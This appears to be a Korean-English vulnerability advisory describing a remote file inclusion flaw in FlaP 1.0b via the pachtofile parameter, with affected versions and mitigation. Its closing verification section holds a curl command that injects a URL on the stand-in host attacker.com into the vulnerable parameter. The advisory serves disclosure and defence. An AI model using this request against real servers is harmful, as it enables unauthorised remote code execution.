🇰🇷 한글 설명
FlaP 1.0 베타 버전의 skin/html/table.php와 login.php 파일에서 pachtofile 파라미터를 통한 원격 파일 포함(RFI) 취약점이 존재합니다. 공격자는 이 파라미터에 악의적인 URL을 입력하여 원격 서버의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
FlaP 웹 프로그램이 사용자로부터 입력받은 파일 경로를 검증하지 않아, 해커가 원격 서버의 악성 코드를 실행하도록 조작할 수 있습니다. 이를 통해 웹서버 전체가 해킹될 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in FlaP 1.0b (1.0 Beta) allow remote attackers to execute arbitrary PHP code via a URL in the pachtofile parameter to (1) skin/html/table.php or (2) login.php.
📍 영향받는 시스템
FlaP 1.0b (1.0 Beta) 및 이전 버전
⚔️ 공격 벡터
pachtofile 파라미터에 원격 PHP 파일 URL을 삽입하여 코드 실행
🛡️ 대응 방법
FlaP를 보안 패치가 적용된 버전으로 업그레이드하거나 입력값 검증 로직 추가
🔧 검증 코드
원격 파일이 포함되면 그 파일의 내용이 응답에 나타나거나 PHP 오류 메시지가 표시됩니다.
curl -s 'http://target/skin/html/table.php?pachtofile=http://attacker.com/test.php' 2>/dev/null | head -20